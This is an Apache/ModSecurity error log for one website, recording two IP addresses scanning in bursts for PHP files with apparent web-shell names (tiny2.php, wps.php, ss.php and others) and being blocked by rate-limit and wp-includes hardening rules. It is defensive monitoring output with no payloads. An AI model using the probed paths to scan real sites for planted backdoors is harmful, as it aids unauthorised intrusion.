[Sat Apr 18 02:32:16.061481 2026] [:error] [pid 63702:tid 63747] [client 4.235.108.154:3394] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeJ8sMTL05PWYsKqTEYtAwAAAUg"]
[Sat Apr 18 02:32:17.386185 2026] [:error] [pid 42442:tid 42464] [client 4.235.108.154:3638] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeJ8sT4PBGqL_yqPJ8lRbgAAARQ"]
[Sat Apr 18 02:32:18.348526 2026] [:error] [pid 63702:tid 63740] [client 4.235.108.154:59335] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeJ8ssTL05PWYsKqTEYtDgAAAUI"]
[Sat Apr 18 02:32:19.286038 2026] [:error] [pid 59044:tid 59110] [client 4.235.108.154:3127] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeJ8swFamkFyEtD_SMHPnAAAAIk"]
[Sat Apr 18 02:32:20.416098 2026] [:error] [pid 42442:tid 42447] [client 4.235.108.154:59391] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeJ8tD4PBGqL_yqPJ8lRcgAAAQM"]
[Sat Apr 18 02:32:22.488920 2026] [:error] [pid 59043:tid 59089] [client 4.235.108.154:3118] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeJ8toRtUGE9SfUh2wwiBQAAAE8"]
[Sat Apr 18 02:32:23.479885 2026] [:error] [pid 59136:tid 59161] [client 4.235.108.154:59374] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeJ8tyaoiUyiIR3EhLXOlgAAANY"]
[Sat Apr 18 02:32:24.117984 2026] [:error] [pid 59044:tid 59124] [client 4.235.108.154:3600] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeJ8uAFamkFyEtD_SMHPogAAAJc"]
[Sat Apr 18 02:32:25.945786 2026] [:error] [pid 42442:tid 42451] [client 4.235.108.154:3479] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeJ8uT4PBGqL_yqPJ8lRhgAAAQc"]
[Sat Apr 18 02:32:28.050010 2026] [:error] [pid 42442:tid 42459] [client 4.235.108.154:3110] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeJ8vD4PBGqL_yqPJ8lRigAAAQ8"]
[Sat Apr 18 02:32:29.162995 2026] [:error] [pid 42442:tid 42449] [client 4.235.108.154:3596] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeJ8vT4PBGqL_yqPJ8lRjAAAAQU"]
[Sat Apr 18 02:32:38.947493 2026] [:error] [pid 59042:tid 59069] [client 4.235.108.154:3497] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeJ8xp6p5oql0UklEBJmmQAAABY"]
[Sat Apr 18 02:32:40.165460 2026] [:error] [pid 59042:tid 59053] [client 4.235.108.154:3470] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeJ8yJ6p5oql0UklEBJmmgAAAAY"]
[Sat Apr 18 02:32:41.922483 2026] [:error] [pid 59043:tid 59089] [client 4.235.108.154:3129] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeJ8yYRtUGE9SfUh2wwiEgAAAE8"]
[Sat Apr 18 02:32:43.802463 2026] [:error] [pid 59044:tid 59110] [client 4.235.108.154:59359] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeJ8ywFamkFyEtD_SMHPtQAAAIk"]
[Sat Apr 18 04:34:57.811493 2026] [proxy_fcgi:error] [pid 9865:tid 9957] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:58.053936 2026] [proxy_fcgi:error] [pid 9865:tid 9946] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:58.298611 2026] [proxy_fcgi:error] [pid 9865:tid 9938] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:58.613047 2026] [proxy_fcgi:error] [pid 9865:tid 9941] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:58.864674 2026] [proxy_fcgi:error] [pid 9865:tid 9950] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:59.109881 2026] [proxy_fcgi:error] [pid 9865:tid 9940] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:59.352470 2026] [proxy_fcgi:error] [pid 9865:tid 9948] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:34:59.594400 2026] [proxy_fcgi:error] [pid 9865:tid 9949] [client 158.158.109.150:65472] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:35:01.270962 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:65472] [client 158.158.109.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeKZdazb5knECIY-C-iApgAAAJg"]
[Sat Apr 18 04:35:02.610543 2026] [proxy_fcgi:error] [pid 9864:tid 9930] [client 158.158.109.150:54692] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:35:04.125298 2026] [proxy_fcgi:error] [pid 9864:tid 9914] [client 158.158.109.150:54692] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:35:04.365453 2026] [:error] [pid 9864:tid 9919] [client 158.158.109.150:54692] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeKZeICFeowknfXHM7kW9AAAAE0"]
[Sat Apr 18 04:35:05.545498 2026] [:error] [pid 9864:tid 9923] [client 158.158.109.150:65136] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeKZeYCFeowknfXHM7kW9gAAAFE"]
[Sat Apr 18 04:35:06.442059 2026] [:error] [pid 9970:tid 9989] [client 158.158.109.150:65514] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeKZeiYdRLRhVmaIMx2PTwAAAM8"]
[Sat Apr 18 04:35:07.646847 2026] [:error] [pid 9970:tid 9979] [client 158.158.109.150:65150] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ng.php"] [unique_id "aeKZeyYdRLRhVmaIMx2PWAAAAMU"]
[Sat Apr 18 04:35:09.709686 2026] [:error] [pid 9864:tid 9920] [client 158.158.109.150:65484] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeKZfYCFeowknfXHM7kW-gAAAE4"]
[Sat Apr 18 04:35:12.210254 2026] [:error] [pid 9865:tid 9946] [client 158.158.109.150:65508] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeKZgKzb5knECIY-C-iAtgAAAIk"]
[Sat Apr 18 04:35:13.752462 2026] [:error] [pid 9864:tid 9919] [client 158.158.109.150:65196] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeKZgYCFeowknfXHM7kXAwAAAE0"]
[Sat Apr 18 04:35:15.319750 2026] [:error] [pid 9970:tid 9995] [client 158.158.109.150:65157] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeKZgyYdRLRhVmaIMx2PbgAAANU"]
[Sat Apr 18 04:35:19.363821 2026] [:error] [pid 9970:tid 9993] [client 158.158.109.150:65203] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeKZhyYdRLRhVmaIMx2PewAAANM"]
[Sat Apr 18 04:35:20.413668 2026] [:error] [pid 9863:tid 9888] [client 158.158.109.150:65178] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeKZiDjjiypiFrTucbLzvQAAAA8"]
[Sat Apr 18 04:35:21.659053 2026] [:error] [pid 9865:tid 9952] [client 158.158.109.150:65191] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeKZiazb5knECIY-C-iAzQAAAI8"]
[Sat Apr 18 04:35:23.211018 2026] [:error] [pid 9865:tid 9943] [client 158.158.109.150:65129] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/state.php"] [unique_id "aeKZi6zb5knECIY-C-iA0wAAAIY"]
[Sat Apr 18 04:35:23.960196 2026] [:error] [pid 9865:tid 9954] [client 158.158.109.150:65519] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeKZi6zb5knECIY-C-iA1gAAAJE"]
[Sat Apr 18 04:35:25.024811 2026] [:error] [pid 9865:tid 9951] [client 158.158.109.150:65512] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeKZjazb5knECIY-C-iA3AAAAI4"]
[Sat Apr 18 04:35:25.981000 2026] [:error] [pid 9863:tid 9894] [client 158.158.109.150:54674] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeKZjTjjiypiFrTucbLzxQAAABU"]
[Sat Apr 18 04:35:27.000870 2026] [:error] [pid 9864:tid 9915] [client 158.158.109.150:65141] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aeKZj4CFeowknfXHM7kXGQAAAEk"]
[Sat Apr 18 04:35:28.341107 2026] [:error] [pid 9863:tid 9880] [client 158.158.109.150:65482] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeKZkDjjiypiFrTucbLzywAAAAc"]
[Sat Apr 18 04:35:29.440871 2026] [:error] [pid 9865:tid 9941] [client 158.158.109.150:65109] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeKZkazb5knECIY-C-iA6AAAAIQ"]
[Sat Apr 18 04:35:31.013942 2026] [:error] [pid 9970:tid 9992] [client 158.158.109.150:65503] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeKZkyYdRLRhVmaIMx2PkQAAANI"]
[Sat Apr 18 04:35:32.741578 2026] [:error] [pid 9970:tid 9985] [client 158.158.109.150:65495] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeKZlCYdRLRhVmaIMx2PlgAAAMs"]
[Sat Apr 18 04:35:34.139012 2026] [:error] [pid 9863:tid 9878] [client 158.158.109.150:54679] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeKZljjjiypiFrTucbLz1QAAAAU"]
[Sat Apr 18 04:35:35.938847 2026] [:error] [pid 9970:tid 9996] [client 158.158.109.150:65499] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeKZlyYdRLRhVmaIMx2PmgAAANY"]
[Sat Apr 18 04:35:36.620242 2026] [:error] [pid 9865:tid 9958] [client 158.158.109.150:65212] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeKZmKzb5knECIY-C-iA8wAAAJU"]
[Sat Apr 18 04:35:37.487394 2026] [:error] [pid 9970:tid 9992] [client 158.158.109.150:64749] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeKZmSYdRLRhVmaIMx2PoAAAANI"]
[Sat Apr 18 04:35:38.281150 2026] [:error] [pid 9970:tid 9995] [client 158.158.109.150:65111] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeKZmiYdRLRhVmaIMx2PogAAANU"]
[Sat Apr 18 04:35:39.418058 2026] [:error] [pid 9865:tid 9950] [client 158.158.109.150:65497] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeKZm6zb5knECIY-C-iA9gAAAI0"]
[Sat Apr 18 04:35:40.303405 2026] [:error] [pid 9864:tid 9913] [client 158.158.109.150:65211] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeKZnICFeowknfXHM7kXKQAAAEc"]
[Sat Apr 18 04:35:41.094570 2026] [:error] [pid 9970:tid 9980] [client 158.158.109.150:65202] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wgift1.php"] [unique_id "aeKZnSYdRLRhVmaIMx2PpAAAAMY"]
[Sat Apr 18 04:35:41.702764 2026] [:error] [pid 9970:tid 9975] [client 158.158.109.150:54660] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aeKZnSYdRLRhVmaIMx2PpwAAAME"]
[Sat Apr 18 04:35:43.205382 2026] [:error] [pid 9864:tid 9917] [client 158.158.109.150:65523] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aeKZn4CFeowknfXHM7kXLwAAAEs"]
[Sat Apr 18 04:35:43.979424 2026] [:error] [pid 9864:tid 9927] [client 158.158.109.150:65205] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aeKZn4CFeowknfXHM7kXNQAAAFU"]
[Sat Apr 18 04:35:44.978287 2026] [:error] [pid 9970:tid 9978] [client 158.158.109.150:64771] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aeKZoCYdRLRhVmaIMx2PswAAAMQ"]
[Sat Apr 18 04:35:45.884586 2026] [:error] [pid 9970:tid 9984] [client 158.158.109.150:54703] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeKZoSYdRLRhVmaIMx2PuQAAAMo"]
[Sat Apr 18 04:35:49.394667 2026] [:error] [pid 9970:tid 9974] [client 158.158.109.150:54657] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeKZpSYdRLRhVmaIMx2PwQAAAMA"]
[Sat Apr 18 04:35:52.079899 2026] [:error] [pid 9863:tid 9889] [client 158.158.109.150:54658] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeKZqDjjiypiFrTucbLz8wAAABA"]
[Sat Apr 18 04:35:53.464166 2026] [:error] [pid 9970:tid 9987] [client 158.158.109.150:65154] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeKZqSYdRLRhVmaIMx2P1gAAAM0"]
[Sat Apr 18 04:35:54.666033 2026] [:error] [pid 9864:tid 9917] [client 158.158.109.150:65473] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeKZqoCFeowknfXHM7kXQAAAAEs"]
